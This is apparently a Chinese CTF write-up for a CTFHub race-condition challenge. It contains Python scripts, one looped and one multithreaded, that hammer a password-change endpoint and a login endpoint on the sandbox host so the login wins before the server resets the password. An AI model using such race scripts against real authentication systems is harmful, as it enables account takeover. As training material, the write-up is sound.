修改密码???
看来没什么花里胡哨的想法
不行用脚本搞,猜测应该是后台有刷新密码,脚本够快了吧
import requests
url1 = 'http://challenge-55a821b9901efced.sandbox.ctfhub.com:10080/change_passwd.php?passwd=1&passwd_confirm=1'
url2 = 'http://challenge-55a821b9901efced.sandbox.ctfhub.com:10080/login_check.php?passwd=1'
for i in range(100):
response1 = requests.get(url1)
response2 = requests.get(url2)
print(response2.text)
看来我想多了,他不是快一点点
遇事不决百度
原文地址:https://blog.csdn.net/solitudi/article/details/107579378
意思是你改完密码后登录要比系统自动更改密码快
这就是两个线程的竞争
当年学爬虫的时候多线程有点难就放弃了
随便写几个注释,有错请指出
import requests
import threading
s = requests.session()#保持会话
#创建线程
class MyThread(threading.Thread):#创建子类
def __init__(self, item):#绑定属性
threading.Thread.__init__(self)
self.item = item
def run(self):
main(self.item)
def main(args):#应该是item给的值
if args == 1:
while True:
ur11 = 'http://challenge-55a821b9901efced.sandbox.ctfhub.com:10080/change_passwd.php?passwd=1&passwd_confirm=1'
c = s.get(ur11).content
else:
while True:
url2 = 'http://challenge-55a821b9901efced.sandbox.ctfhub.com:10080/login_check.php?passwd=1'
# c11 = s.get(url2, data={' passwd': 111}).content
c1 = s.get(url2)
print(c1.text)
t1 = MyThread(1)#表示一个执行线程的对象
t2 = MyThread(2)
t1.start()#启动线程
t2.start()
FROM:浅浅淡淡[hellohy]
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论